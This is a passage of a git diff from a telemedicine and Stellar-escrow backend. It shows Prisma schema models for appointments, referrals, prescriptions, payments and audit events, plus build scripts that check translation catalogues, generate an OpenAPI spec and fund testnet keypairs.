targetedReferrals Referral[] @relation("ReferralTargetDoctor") + + @@index([verificationStatus]) +} + +model Specialty { + id String @id @default(uuid()) + name String @unique + slug String @unique + + doctors DoctorSpecialty[] +} + +model DoctorSpecialty { + id String @id @default(uuid()) + doctorProfileId String + specialtyId String + + doctorProfile DoctorProfile @relation(fields: [doctorProfileId], references: [id], onDelete: Cascade) + specialty Specialty @relation(fields: [specialtyId], references: [id], onDelete: Cascade) + + @@unique([doctorProfileId, specialtyId]) +} + +model FacilityProfile { + id String @id @default(uuid()) + userId String @unique + name String + type FacilityType + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + user User @relation(fields: [userId], references: [id], onDelete: Cascade) + capabilities FacilityCapability[] + prescriptions Prescription[] + labOrders LabOrder[] + labResults LabResult[] + paymentIntents PaymentIntent[] + fulfillments FulfillmentRecord[] + walletLink WalletLink? + prices FacilityPrice[] + orders Order[] + fulfillmentProofs FulfillmentProof[] +} + +model FacilityCapability { + id String @id @default(uuid()) + facilityProfileId String + capabilityType CapabilityType + // e.g. a lab test category, or a medication class β€” free text on purpose, + // no controlled vocabulary decided yet (out of Phase 1 scope). + detail String? + + facilityProfile FacilityProfile @relation(fields: [facilityProfileId], references: [id], onDelete: Cascade) + + @@unique([facilityProfileId, capabilityType, detail]) +} + +/// Versioned facility price list (issue #127). Rows are append-only: changing +/// a price inserts a new row with a later `effectiveFrom`, so history is kept +/// and an intent priced earlier keeps resolving against what was in force at +/// its selection time. Amounts are stroops (BigInt) like PaymentIntent. +/// +/// `catalogItemCode` is deliberately an open vocabulary (a lab test or +/// medication code the facility publishes), matching FacilityCapability.detail +/// β€” no controlled vocabulary has been decided yet. +model FacilityPrice { + id String @id @default(uuid()) + facilityId String + facility FacilityProfile @relation(fields: [facilityId], references: [id], onDelete: Cascade) + catalogItemCode String + // Stellar asset the price is denominated in. v1 quotes native XLM + // ('native'); the column exists so a price list can add assets without a + // schema change when multi-asset payments land. + asset String + amount BigInt + effectiveFrom DateTime + createdAt DateTime @default(now()) + + // Two versions of the same item/asset cannot share an effective instant. + @@unique([facilityId, catalogItemCode, asset, effectiveFrom]) + @@index([facilityId, catalogItemCode, asset, effectiveFrom]) + @@index([catalogItemCode, asset, effectiveFrom]) +} + +model AvailabilitySlot { + id String @id @default(uuid()) + doctorProfileId String + status SlotStatus @default(open) + startTime DateTime + endTime DateTime + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + doctorProfile DoctorProfile @relation(fields: [doctorProfileId], references: [id], onDelete: Cascade) + appointment Appointment? + + // Prevents two slot ROWS for the same doctor/time range (duplicate + // generation). This is NOT what prevents double-BOOKING of one slot by + // two patients β€” that's the conditional `UPDATE ... WHERE status = + // 'open'` in availability/services, inside a transaction. See + // ARCHITECTURE.md Β§5.1 and the integration test in + // backend/tests/integration/booking.test.ts. + @@unique([doctorProfileId, startTime, endTime]) + @@index([doctorProfileId, status]) +} + +model Appointment { + id String @id @default(uuid()) + patientProfileId String + doctorProfileId String + // Nullable because a CANCELLED appointment releases its slot back to + // `open` (referral cascade / patient cancel) β€” the appointment keeps its + // history row but must stop holding the unique claim on the slot, or + // re-booking the freed slot would violate the unique constraint. + // The booking guarantee itself is unchanged: claimOpenSlot's + // conditional UPDATE on SlotStatus is what prevents double-booking. + availabilitySlotId String? @unique + status AppointmentStatus @default(scheduled) + origin AppointmentOrigin @default(direct_booking) + // Set when this appointment was produced by accepting a Referral (issue + // #7). The cascade rules (#67 / PRD Β§8.2.3) react to status transitions + // on exactly these appointments. NOT unique: one referral can produce + // several appointments over its life (re-booking after a cancellation). + // Referral.resultingAppointmentId is the unique "current" pointer. + referralId String? + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + // Explicit RESTRICT (was the Prisma default β€” same SQL): an appointment is + // a clinical record and must outlive any account deletion (ADR 0010). + patientProfile PatientProfile @relation(fields: [patientProfileId], references: [id], onDelete: Restrict) + doctorProfile DoctorProfile @relation(fields: [doctorProfileId], references: [id]) + availabilitySlot AvailabilitySlot? @relation(fields: [availabilitySlotId], references: [id]) + referral Referral? @relation("ReferralOriginatedAppointments", fields: [referralId], references: [id]) + // Non-owning side of Referral.resultingAppointmentId (the FK lives on + // Referral) β€” which referral currently points at this appointment as + // the one it produced. + referralResultOf Referral? @relation("ReferralResultingAppointment") + // Phase 2 (issue #4): the appointment's consultation. 1:1 β€” the uniqueness + // is Consultation.appointmentId UNIQUE (docs/adr/0009), so this side is a + // plain back-relation. + consultation Consultation? + + // TODO Phase 2: intakeId (FK -> IntakeForm). PRD FR-5 requires intake + // before confirmation, not enforced yet β€” booking works without it in + // Phase 1 so the concurrency-safety work isn't blocked on IntakeForm + // existing. Flagged, not silently dropped. +} + +// ========================================================================= +model AccessLog { + id String @id @default(uuid()) + // Who viewed. SetNull on user delete keeps the log row (timestamp + + // entity remain) while removing the PII pointer. + accessedBy String? + // Which patient's records were viewed (the record owner, not the viewer). + patientProfileId String? + // Entity that was read: 'IntakeForm' | 'Consultation' | 'Prescription' | + // 'LabOrder' | 'LabResult' | 'Referral' | 'PaymentIntent' | 'PatientProfile' + entityType String + entityId String + // The HTTP route that returned the payload (for correlating with access logs). + route String? + // Free-text detail β€” no PHI here, just context like "GET /appointments/mine". + detail String? + accessedAt DateTime @default(now()) + + accessedByUser User? @relation(fields: [accessedBy], references: [id], onDelete: SetNull) + patientProfile PatientProfile? @relation(fields: [patientProfileId], references: [id], onDelete: Cascade) + + @@index([accessedAt]) + @@index([accessedBy]) + @@index([patientProfileId, accessedAt]) + @@index([entityType, entityId]) +} + +// ========================================================================= +// Orders, Fulfillment Proofs, Disputes & Resolutions +// ========================================================================= + +model Order { + id String @id @default(uuid()) + orderType OrderType + patientProfileId String + facilityProfileId String? + prescribingDoctorId String? + details String? + status OrderStatus @default(issued) + + fulfilledAt DateTime? + + confirmed Boolean @default(false) + confirmationSource String? // 'patient' | 'timeout' + confirmedAt DateTime? + + disputed Boolean @default(false) + disputedAt DateTime? + + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + patientProfile PatientProfile @relation(fields: [patientProfileId], references: [id]) + facilityProfile FacilityProfile? @relation(fields: [facilityProfileId], references: [id]) + + fulfillmentProofs FulfillmentProof[] + disputes OrderDispute[] + + @@index([patientProfileId, status]) + @@index([facilityProfileId, status]) + @@index([status, confirmed, disputed]) +} + +model FulfillmentProof { + id String @id @default(uuid()) + orderId String + facilityProfileId String + referenceNumber String + attachmentUrl String? + notes String? + createdAt DateTime @default(now()) + + order Order @relation(fields: [orderId], references: [id], onDelete: Cascade) + facilityProfile FacilityProfile @relation(fields: [facilityProfileId], references: [id]) + + @@index([orderId]) + @@index([facilityProfileId]) +} + +model OrderDispute { + id String @id @default(uuid()) + orderId String + patientProfileId String + reason String + status DisputeStatus @default(pending) + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + order Order @relation(fields: [orderId], references: [id], onDelete: Cascade) + patientProfile PatientProfile @relation(fields: [patientProfileId], references: [id]) + resolutions OrderDisputeResolution[] + + @@index([orderId]) + @@index([patientProfileId]) + @@index([status]) +} + +model OrderDisputeResolution { + id String @id @default(uuid()) + disputeId String + adminUserId String + resolutionNotes String + outcome String // e.g. 'upheld' | 'rejected' | 'refunded' + createdAt DateTime @default(now()) + + dispute OrderDispute @relation(fields: [disputeId], references: [id], onDelete: Cascade) + adminUser User @relation(fields: [adminUserId], references: [id]) + + @@index([disputeId]) + @@index([adminUserId]) +} + +// Below this line: Phase 0 structural placeholders, not yet implemented. +// See ROADMAP.md for phase order. +// ========================================================================= + +model IntakeForm { + id String @id @default(uuid()) + createdAt DateTime @default(now()) + // TODO: patientProfileId, symptoms (Json), freeTextNotes +} + +// Phase 3 (issue #5 minimal + lineage for #65): a Consultation is the +// record of a doctor having seen the patient at a specific appointment. +// `appointmentId` is the lineage seam β€” Referral.parentReferralId is +// derived through it (consultation β†’ appointment β†’ referral), which is +// what loop detection walks. Full consultation-note workflow (append-only +// addenda, sign-off) stays issue #4/#64's scope. +model Consultation { + id String @id @default(uuid()) + // unique = "a consultation is closed once per appointment", enforced by the + // database rather than by a read-then-write check (docs/adr/0009). + appointmentId String @unique + // Nullable so a consultation can exist before sign-off (Phase 3's referral + // slice); the close routes require it, so a closed record always has one. + outcome ConsultationOutcome? + // Clinical free text: stored as an AES-256-GCM envelope by + // consultations/services (issue #46 β€” ARCHITECTURE.md Β§4.3), never plaintext. + notes String? + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + // RESTRICT (Prisma's default for a required relation) is what the existing + // migration created: a clinical record must not disappear because an + // appointment row was deleted. + appointment Appointment @relation(fields: [appointmentId], references: [id]) + prescriptions Prescription[] + labOrders LabOrder[] + // Phase 3: the referrals that grew out of this consultation (the + // opposite side of Referral.sourceConsultationId). + referrals Referral[] +} + +// Phase 3 (issues #5/#65/#66/#67/#68). Snapshot rule (FR-7/FR-8, hard +// rule 3): `snapshotNotes` is a copy taken at creation, never a live +// reference β€” reassign/cancel/cascade never touch it. +model Referral { + id String @id @default(uuid()) + status ReferralStatus @default(pending) + patientProfileId String + // The consultation this referral grew out of. Required: every referral + // is created from a consultation (PRD FR-7), which is also what gives + // loop detection its lineage. + sourceConsultationId String + referringDoctorId String + // Always a concrete doctor: a "specialty, no specific doctor" referral + // is routed to one at creation (least-loaded eligible doctor β€” issue + // #6, docs/adr/0008). The column stays NOT NULL on purpose, so an + // unassigned referral cannot exist; when nobody is eligible the + // creation fails instead of writing a row. + targetDoctorId String + // Optional denormalised label of the target specialty, used by the + // loop guard and admin views. Not a substitute for issue #23's real + // per-doctor specialty management. + targetSpecialtyId String? + snapshotNotes String + // Issue #65: the referral whose appointment produced the consultation + // this referral came from β€” the chain loop detection walks (bounded). + parentReferralId String? + // Issue #67 bookkeeping: how many times a referral-origin appointment + // has no-showed, and the "the referring doctor must know" flag set + // when repeated no-shows expire the referral. Both live on the + // referral (not a Notification row) because Phase 6's dispatch layer + // doesn't exist yet β€” the flag is the seam it will read. + noShowCount Int @default(0) + referringDoctorNotifiedAt DateTime? + // Issue #65: set (with a reason naming the matching hop) when the + // target doctor/specialty was already in the ancestor chain β€” the + // referral is still created (a human decides), but surfaces in the + // admin queue. + loopFlaggedAt DateTime? + loopFlagReason String? + // Issue #68: admin-initiated cancellation carries its reason; the + // audit trail proper is the AuditEvent row written alongside. + cancelledReason String? + // The appointment this referral currently produced (null while + // pending/declined, or after a cancelled/no-showed appointment returns + // it to pending). Kept pointing at the last no-show when expired β€” + // that appointment is why it expired. + resultingAppointmentId String? @unique + // Issue #8: set together with status `expired` β€” when, and why. + expiredAt DateTime? + expiredReason ReferralExpiryReason? + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + sourceConsultation Consultation @relation(fields: [sourceConsultationId], references: [id]) + patientProfile PatientProfile @relation(fields: [patientProfileId], references: [id]) + referringDoctor DoctorProfile @relation("ReferralReferringDoctor", fields: [referringDoctorId], references: [id]) + targetDoctor DoctorProfile @relation("ReferralTargetDoctor", fields: [targetDoctorId], references: [id]) + parentReferral Referral? @relation("ReferralLineage", fields: [parentReferralId], references: [id]) + childReferrals Referral[] @relation("ReferralLineage") + resultingAppointment Appointment? @relation("ReferralResultingAppointment", fields: [resultingAppointmentId], references: [id]) + // Every appointment this referral ever produced (including cancelled/ + // no-showed ones) β€” history survives the resultingAppointmentId link + // being cleared when the referral returns to pending. + appointments Appointment[] @relation("ReferralOriginatedAppointments") + + @@index([patientProfileId]) + @@index([referringDoctorId]) + @@index([targetDoctorId]) + @@index([status]) + @@index([status, updatedAt]) + @@index([loopFlaggedAt]) +} + +// Issue #68: who did what to a referral, when, and why. Deliberately NOT a +// second audit table: the append-only `AuditEvent` in this schema (Phase 8, +// issue #43) is the one audit trail, so referral admin actions are recorded +// as `entityType: 'Referral'` rows through the audit module +// (`auditService.record`) β€” same table, same triggers, same writer. + +model Prescription { + id String @id @default(uuid()) + consultationId String + patientProfileId String + prescribingDoctorId String + facilityProfileId String + amountStroops BigInt + status OrderStatus @default(issued) + supersedesPrescriptionId String? + createdAt DateTime @default(now()) + + consultation Consultation @relation(fields: [consultationId], references: [id]) + patientProfile PatientProfile @relation(fields: [patientProfileId], references: [id]) + prescribingDoctor DoctorProfile @relation(fields: [prescribingDoctorId], references: [id]) + facilityProfile FacilityProfile @relation(fields: [facilityProfileId], references: [id]) + supersedes Prescription? @relation("PrescriptionCorrections", fields: [supersedesPrescriptionId], references: [id]) + correctedBy Prescription? @relation("PrescriptionCorrections") + items PrescriptionItem[] + paymentIntent PaymentIntent? + fulfillment FulfillmentRecord? + + @@unique([supersedesPrescriptionId]) + @@index([patientProfileId, createdAt]) + @@index([consultationId]) +} + +model PrescriptionItem { + id String @id @default(uuid()) + prescriptionId String + drugName String + dosage String + frequency String + duration String + + prescription Prescription @relation(fields: [prescriptionId], references: [id]) + + @@index([prescriptionId]) +} + +model LabOrder { + id String @id @default(uuid()) + consultationId String + patientProfileId String + orderingDoctorId String + facilityProfileId String + amountStroops BigInt + testType String + urgency Urgency @default(routine) + notes String? + status OrderStatus @default(issued) + supersedesLabOrderId String? + createdAt DateTime @default(now()) + + consultation Consultation @relation(fields: [consultationId], references: [id]) + patientProfile PatientProfile @relation(fields: [patientProfileId], references: [id]) + orderingDoctor DoctorProfile @relation(fields: [orderingDoctorId], references: [id]) + facilityProfile FacilityProfile @relation(fields: [facilityProfileId], references: [id]) + supersedes LabOrder? @relation("LabOrderCorrections", fields: [supersedesLabOrderId], references: [id]) + correctedBy LabOrder? @relation("LabOrderCorrections") + result LabResult? + paymentIntent PaymentIntent? + fulfillment FulfillmentRecord? + + @@unique([supersedesLabOrderId]) + @@index([patientProfileId, createdAt]) + @@index([consultationId]) +} + +model LabResult { + id String @id @default(uuid()) + labOrderId String @unique + fulfillingFacilityId String + resultFileUrl String? + summary String? + createdAt DateTime @default(now()) + + labOrder LabOrder @relation(fields: [labOrderId], references: [id]) + fulfillingFacility FacilityProfile @relation(fields: [fulfillingFacilityId], references: [id]) +} + +/// Facility-side fulfillment state for one issued order. Kept separate from +/// the order so a facility never needs write access to the clinical record +/// (ARCHITECTURE.md Β§4.7, hard rule 5). +/// +/// Issue #13 / docs/adr/0012: the Phase 0 sketch here was polymorphic +/// (`orderType` + `orderId` TEXT). Both are replaced by real FKs β€” exactly one +/// of them is set, required by a PostgreSQL CHECK, and the UNIQUE on each +/// means an order can have at most one fulfillment row. Same discriminator +/// mechanism `PaymentIntent` adopted in issue #85. +/// +/// `facilityId` is copied from the order's own facility at creation (the +/// creating service in Phase 5 issue #14 owns that rule) so the facility's +/// queue is indexable on this table and ownership lives on the row the +/// facility writes. +model FulfillmentRecord { + id String @id @default(uuid()) + prescriptionId String? @unique + labOrderId String? @unique + facilityId String + status FulfillmentStatus @default(pending) + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + prescription Prescription? @relation(fields: [prescriptionId], references: [id], onDelete: Restrict) + labOrder LabOrder? @relation(fields: [labOrderId], references: [id], onDelete: Restrict) + facility FacilityProfile @relation(fields: [facilityId], references: [id], onDelete: Restrict) + + @@index([facilityId, status]) +} + +model Notification { + id String @id @default(uuid()) + type String + payload Json + readAt DateTime? + createdAt DateTime @default(now()) + // TODO: userId +} + +// --- Stellar payments (docforum-org split) ------------------------------- +// These two models hold relational metadata ONLY β€” amounts, status, tx +// hashes, public keys. No clinical/PHI field ever belongs here. The actual +// escrow contract logic lives in the sibling docforum-escrow repo and is +// called via the @docforum/escrow-sdk package from +// backend/src/modules/payments/services β€” never modeled or reimplemented +// in this schema. See docs/adr/0002-stellar-escrow-for-fulfillment-payout.md +// and docs/adr/0004-custodial-payments-v1.md. +// +// One of prescriptionId/labOrderId is required by a PostgreSQL check +// constraint. Amount and recipient are snapshotted from the issued order. + +enum PaymentIntentStatus { + created + // ADR 0005 steps 2-4: a prepared (unsigned) create_escrow transaction + // exists, then is being submitted with the patient's signature. The + // submit half is not built yet (issue #80 only covers prepare), so + // `submitting` is reserved by the state machine but not written today. + awaiting_signature + submitting + escrowed + released + refunded + failed +} + +model PaymentIntent { + id String @id @default(uuid()) + prescriptionId String? @unique + labOrderId String? @unique + status PaymentIntentStatus @default(created) + + prescription Prescription? @relation(fields: [prescriptionId], references: [id]) + labOrder LabOrder? @relation(fields: [labOrderId], references: [id]) + + patientProfileId String + // Explicit RESTRICT (was the Prisma default β€” same SQL): a payment record + // must outlive any account deletion (ADR 0010). + patientProfile PatientProfile @relation(fields: [patientProfileId], references: [id], onDelete: Restrict) + facilityId String + facility FacilityProfile @relation(fields: [facilityId], references: [id]) + + // Amount in the smallest unit of `assetCode` (stroops for XLM, 7-decimal + // units for USDC) β€” matches @docforum/escrow-sdk's `amount: bigint` + // exactly. Renamed from `amountStroops` by issue #79; the migration is a + // plain column rename, so existing rows keep their value. This module + // never scales or converts amounts, so it never assumes an asset's + // decimals (the allowlist carries them for clients only). + amount BigInt + // The asset this intent is denominated in β€” `XLM` or `USDC` in the + // default testnet allowlist. Assets are identified on-chain by the SAC + // contract id, not by the code, so a new intent must name an allowlisted + // asset (see config.payments.assets and issue #79). + assetCode String + // The Stellar Asset Contract address the escrow pulls from. Nullable only + // for rows created before issue #79: those were funded against + // `ESCROW_TOKEN_ID` (native XLM), which the service falls back to when it + // sees a null here. New rows always store it. + tokenContractId String? + + // ADR 0005 step 2 (issue #80). `preparedTxHash` is the hash of the + // unsigned create_escrow transaction the patient must sign; + // `preparedXdr` lets a retry return exactly the same transaction instead + // of building a second one. Both are cleared when the preparation + // expires back to `created`. + preparedTxHash String? + preparedXdr String? + preparedExpiryLedger Int? + preparedExpiresAt DateTime? + // ADR 0005: escrow refund deadline = order expiry + grace. Orders don't + // exist as real records yet (Phase 4), so the service uses the intent's + // createdAt as the order-expiry anchor β€” see + // config.payments.orderExpiryHours / refundGraceHours. + refundAfter DateTime? + + // Which facility price list entry priced this intent (issue #127). The + // amount above is the snapshot; this code records *which* item it was for, + // so a later price change can be explained without re-deriving it. Null for + // intents priced from an admin-supplied amount. + catalogItemCode String? + + // Set once funded (create_escrow succeeds) β€” needed to later call + // release/refund against the right on-chain escrow. + escrowId BigInt? + stellarTxHash String? + // Which deployed contract this intent was funded against β€” this repo + // has already had two testnet contract IDs (Phase E1 vs. E2), so this + // isn't hypothetical. + sorobanContractId String? + + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + @@index([facilityId]) + @@index([status]) + @@index([status, preparedExpiresAt]) +} + +// ADR 0005 step 1: a patient's verified Stellar address, used as the payer +// of a non-custodial escrow. Verification is SEP-10 (a signed challenge), +// not the type-the-address form used for facilities β€” but the SEP-10 +// endpoints are not built yet, so nothing in this repo creates these rows +// today. Prepare (issue #80) requires one and returns 409 WALLET_NOT_LINKED +// otherwise. Deliberately a separate model from WalletLink: that one is +// the facility payee (unique per facility), this one is the patient payer +// (unique per patient), and conflating the two would make a facility's +// payout address eligible as a patient payer. +model PatientWalletLink { + id String @id @default(uuid()) + patientProfileId String @unique + stellarPublicKey String + verifiedAt DateTime + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt + + patientProfile PatientProfile @relation(fields: [patientProfileId], references: [id], onDelete: Cascade) +} + +// SEP-10 (Stellar Web Authentication) challenge issuance ledger β€” +// one row per issued challenge, created by GET /payments/sep10/challenge +// and redeemed exactly once by POST /payments/sep10/verify (issue #77, +// ADR 0005 step 4: proving the caller controls a Stellar address before +// it is ever trusted as payer or payee). +// +// The nonce is the random 64-byte value embedded in the challenge +// transaction's `" auth"` Manage Data operation. Storing it +// (unique) is what makes a challenge single-use: verify consumes the row +// with ONE conditional UPDATE (`consumedAt IS NULL AND expiresAt > now`), +// so two concurrent replays can't both win β€” the same DB-level pattern +// as booking's conditional slot update (ARCHITECTURE.md Β§5.1). +// +// Deliberately no other fields: no XDR, no signature, no PHI. The +// challenge itself is re-derivable from the submitted XDR at verify +// time; this table only proves "we issued this nonce to this user for +// this account, it hasn't been used, and it hasn't expired." +model Sep10Challenge { + id String @id @default(uuid()) + userId String + account String // the G... (or M...) account the challenge was issued for + nonce String @unique // hex/utf8 nonce from the challenge's Manage Data op + expiresAt DateTime // matches the challenge's timebounds maxTime (+ record TTL) + consumedAt DateTime? + createdAt DateTime @default(now()) + + user User @relation(fields: [userId], references: [id], onDelete: Cascade) + + // Pruning and the "is this row still redeemable" check both scan by + // expiry β€” same reason LoginAttempt indexes its window. Lookups at + // verify time go through the unique `nonce` index. + @@index([expiresAt]) +} + +model WalletLink { + id String @id @default(uuid()) + // Scoped to the facility being paid, not the patient β€” v1 is a + // custodial model (docforum-core funds escrows from its own platform + // Stellar identity; patients never hold or sign with a wallet here). + // See ADR 0004. + facilityId String @unique + facility FacilityProfile @relation(fields: [facilityId], references: [id], onDelete: Cascade) + + stellarPublicKey String + + createdAt DateTime @default(now()) + updatedAt DateTime @updatedAt +} + +// Soroban event ingestion (issue #86). Cursors are per contract deployment; +// persisted events are immutable observations used for reconciliation/alerts. +enum EscrowChainEventState { + pending + matched + unmatched +} + +model EscrowEventCursor { + contractId String @id + startLedger Int + cursor String? + lastLedger Int? + catchupError String? + updatedAt DateTime @updatedAt +} + +model EscrowChainEvent { + id String @id @default(uuid()) + eventId String + contractId String + ledger Int + txHash String? + escrowId BigInt? + eventType String + state EscrowChainEventState @default(pending) + paymentIntentId String? + payload Json? + detectedAt DateTime @default(now()) + alertedAt DateTime? + + @@unique([contractId, eventId]) + @@index([state, detectedAt]) + @@index([contractId, ledger]) +} + +// --- Audit trail (Phase 8, issue #43) ------------------------------------- +// One row per state transition on a record that matters for clinical, +// legal or financial accountability (PRD Β§7: "who, when"). Written by the +// audit module's record(), always inside the same transaction as the +// change it describes β€” if the change rolls back, so does its event. +// +// APPEND-ONLY. There is no update or delete path in code, and a database +// trigger (see the add_audit_event migration) rejects UPDATE, DELETE and +// TRUNCATE outright. Deliberately no foreign keys: an FK's ON DELETE action +// would have to rewrite or remove audit rows (which the trigger forbids), +// and RESTRICT would let the audit trail block account lifecycle. Ids are +// recorded as facts about the past. +// +// No PHI, ever: `metadata` is a small flat map of ids/codes validated by +// record() β€” never names, contact details, DOB, intake text, or copies of +// request/response bodies. +model AuditEvent { + id String @id @default(uuid()) + // Null only for system-initiated transitions (none exist yet). + actorUserId String? + actorRole Role? + // e.g. 'Appointment', 'DoctorProfile', 'PaymentIntent'. + entityType String + entityId String + // e.g. 'appointment.booked', 'payment_intent.released'. + action String + fromState String? + toState String? + // X-Request-Id of the HTTP request that caused it (src/middleware/request-id.ts). + requestId String? + metadata Json? + createdAt DateTime @default(now()) + + @@index([entityType, entityId, createdAt]) + @@index([actorUserId, createdAt]) + @@index([createdAt, id]) +} diff --git a/backend/scripts/check-i18n-catalogues.mjs b/backend/scripts/check-i18n-catalogues.mjs index 15b8df0e..941385d6 100644 --- a/backend/scripts/check-i18n-catalogues.mjs +++ b/backend/scripts/check-i18n-catalogues.mjs @@ -1,18 +1,18 @@ -import { readFile } from 'node:fs/promises'; - -const source = JSON.parse(await readFile(new URL('../src/i18n/messages/en.json', import.meta.url), 'utf8')); -const locales = ['fr']; -let failed = false; - -for (const locale of locales) { - const catalogue = JSON.parse(await readFile(new URL(`../src/i18n/messages/${locale}.json`, import.meta.url), 'utf8')); - const missing = Object.keys(source).filter((key) => !(key in catalogue)); - const extra = Object.keys(catalogue).filter((key) => !(key in source)); - if (missing.length || extra.length) { - failed = true; - console.error(`${locale}: missing [${missing.join(', ')}], extra [${extra.join(', ')}]`); - } -} - -if (failed) process.exitCode = 1; -else console.log('Message catalogues have matching keys.'); +import { readFile } from 'node:fs/promises'; + +const source = JSON.parse(await readFile(new URL('../src/i18n/messages/en.json', import.meta.url), 'utf8')); +const locales = ['fr']; +let failed = false; + +for (const locale of locales) { + const catalogue = JSON.parse(await readFile(new URL(`../src/i18n/messages/${locale}.json`, import.meta.url), 'utf8')); + const missing = Object.keys(source).filter((key) => !(key in catalogue)); + const extra = Object.keys(catalogue).filter((key) => !(key in source)); + if (missing.length || extra.length) { + failed = true; + console.error(`${locale}: missing [${missing.join(', ')}], extra [${extra.join(', ')}]`); + } +} + +if (failed) process.exitCode = 1; +else console.log('Message catalogues have matching keys.'); diff --git a/backend/scripts/gen-openapi.mjs b/backend/scripts/gen-openapi.mjs index 1f26e99e..fb306ff7 100755 --- a/backend/scripts/gen-openapi.mjs +++ b/backend/scripts/gen-openapi.mjs @@ -1,38 +1,38 @@ -#!/usr/bin/env node -import { writeFileSync, mkdirSync } from 'fs'; -import { execSync } from 'child_process'; -import { join, dirname } from 'path'; -import { fileURLToPath } from 'url'; - -const __dirname = dirname(fileURLToPath(import.meta.url)); -const root = join(__dirname, '../..'); - -// Generate OpenAPI spec (placeholder - in production this would introspect routes) -const openapi = { - openapi: '3.0.3', - info: { - title: 'DocForum API', - description: 'DocForum backend API - modular monolith', - version: '1.0.0' - }, - servers: [ - { url: 'http://localhost:4000', description: 'Local development' } - ], - paths: {} -}; - -// Write spec -writeFileSync(join(root, 'backend/openapi.json'), JSON.stringify(openapi, null, 2)); - -// Generate types -mkdirSync(join(root, 'packages/api-client/src'), { recursive: true }); -try { - execSync('npx openapi-typescript backend/openapi.json -o packages/api-client/src/types.ts', { - cwd: root, - stdio: 'inherit' - }); - console.log('Types generated'); -} catch (e) { - console.error('Failed to generate types:', e.message); - process.exit(1); -} +#!/usr/bin/env node +import { writeFileSync, mkdirSync } from 'fs'; +import { execSync } from 'child_process'; +import { join, dirname } from 'path'; +import { fileURLToPath } from 'url'; + +const __dirname = dirname(fileURLToPath(import.meta.url)); +const root = join(__dirname, '../..'); + +// Generate OpenAPI spec (placeholder - in production this would introspect routes) +const openapi = { + openapi: '3.0.3', + info: { + title: 'DocForum API', + description: 'DocForum backend API - modular monolith', + version: '1.0.0' + }, + servers: [ + { url: 'http://localhost:4000', description: 'Local development' } + ], + paths: {} +}; + +// Write spec +writeFileSync(join(root, 'backend/openapi.json'), JSON.stringify(openapi, null, 2)); + +// Generate types +mkdirSync(join(root, 'packages/api-client/src'), { recursive: true }); +try { + execSync('npx openapi-typescript backend/openapi.json -o packages/api-client/src/types.ts', { + cwd: root, + stdio: 'inherit' + }); + console.log('Types generated'); +} catch (e) { + console.error('Failed to generate types:', e.message); + process.exit(1); +} diff --git a/backend/scripts/gen-platform-identities.mjs b/backend/scripts/gen-platform-identities.mjs index 5c102776..481e3597 100644 --- a/backend/scripts/gen-platform-identities.mjs +++ b/backend/scripts/gen-platform-identities.mjs @@ -1,61 +1,61 @@ -// Generates fresh testnet payer/releaser identities. Locally, credentials -// are appended directly to .env; in Actions, they go to GITHUB_ENV and are -// masked. Secret values are never printed. See ADR 0004. -import { Keypair } from "@stellar/stellar-sdk"; -import fs from "node:fs"; -import path from "node:path"; -import { fileURLToPath } from "node:url"; - -const ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), ".."); -const ENV_PATH = path.join(ROOT, ".env"); - -const wait = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); - -async function fund(publicKey) { - const maxAttempts = 5; - let lastFailure; - let attempts = 0; - for (let attempt = 0; attempt < maxAttempts; attempt += 1) { - attempts = attempt + 1; - try { - const res = await fetch(`https://friendbot.stellar.org?addr=${encodeURIComponent(publicKey)}`); - if (res.ok) return; - lastFailure = `HTTP ${res.status}`; - if (res.status !== 429 && res.status < 500) break; - } catch (error) { - lastFailure = error instanceof Error ? error.name : "network error"; - } - if (attempt < maxAttempts - 1) { - const backoff = Math.min(1000 * 2 ** attempt, 16_000); - await wait(backoff + Math.floor(Math.random() * 500)); - } - } - throw new Error(`Friendbot funding failed for ${publicKey} after ${attempts} attempt(s) (${lastFailure}).`); -} - -const payer = Keypair.random(); -const releaser = Keypair.random(); - -await fund(payer.publicKey()); -await fund(releaser.publicKey()); - -const envLines = [ - `PLATFORM_PAYER_SECRET=${payer.secret()}`, - `PLATFORM_PAYER_PUBLIC_KEY=${payer.publicKey()}`, - `PLATFORM_RELEASER_SECRET=${releaser.secret()}`, - `PLATFORM_RELEASER_PUBLIC_KEY=${releaser.publicKey()}`, -].join("\n"); - -if (process.env.GITHUB_ENV) { - process.stdout.write(`::add-mask::${payer.secret()}\n::add-mask::${releaser.secret()}\n`); - fs.appendFileSync(process.env.GITHUB_ENV, `${envLines}\n`); - console.log("Funded fresh testnet identities for this workflow run."); -} else { - fs.appendFileSync( - ENV_PATH, - ["", "# Generated by scripts/gen-platform-identities.mjs β€” testnet only, never commit.", envLines, ""].join("\n"), - ); - console.log("Funded and wrote secrets to .env (not printed here). Public keys:"); - console.log(" payer: ", payer.publicKey()); - console.log(" releaser:", releaser.publicKey()); -} +// Generates fresh testnet payer/releaser identities. Locally, credentials +// are appended directly to .env; in Actions, they go to GITHUB_ENV and are +// masked. Secret values are never printed. See ADR 0004. +import { Keypair } from "@stellar/stellar-sdk"; +import fs from "node:fs"; +import path from "node:path"; +import { fileURLToPath } from "node:url"; + +const ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), ".."); +const ENV_PATH = path.join(ROOT, ".env"); + +const wait = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); + +async function fund(publicKey) { + const maxAttempts = 5; + let lastFailure; + let attempts = 0; + for (let attempt = 0; attempt < maxAttempts; attempt += 1) { + attempts = attempt + 1; + try { + const res = await fetch(`https://friendbot.stellar.org?addr=${encodeURIComponent(publicKey)}`); + if (res.ok) return; + lastFailure = `HTTP ${res.status}`; + if (res.status !== 429 && res.status < 500) break; + } catch (error) { + lastFailure = error instanceof Error ? error.name : "network error"; + } + if (attempt < maxAttempts - 1) { + const backoff = Math.min(1000 * 2 ** attempt, 16_000); + await wait(backoff + Math.floor(Math.random() * 500)); + } + } + throw new 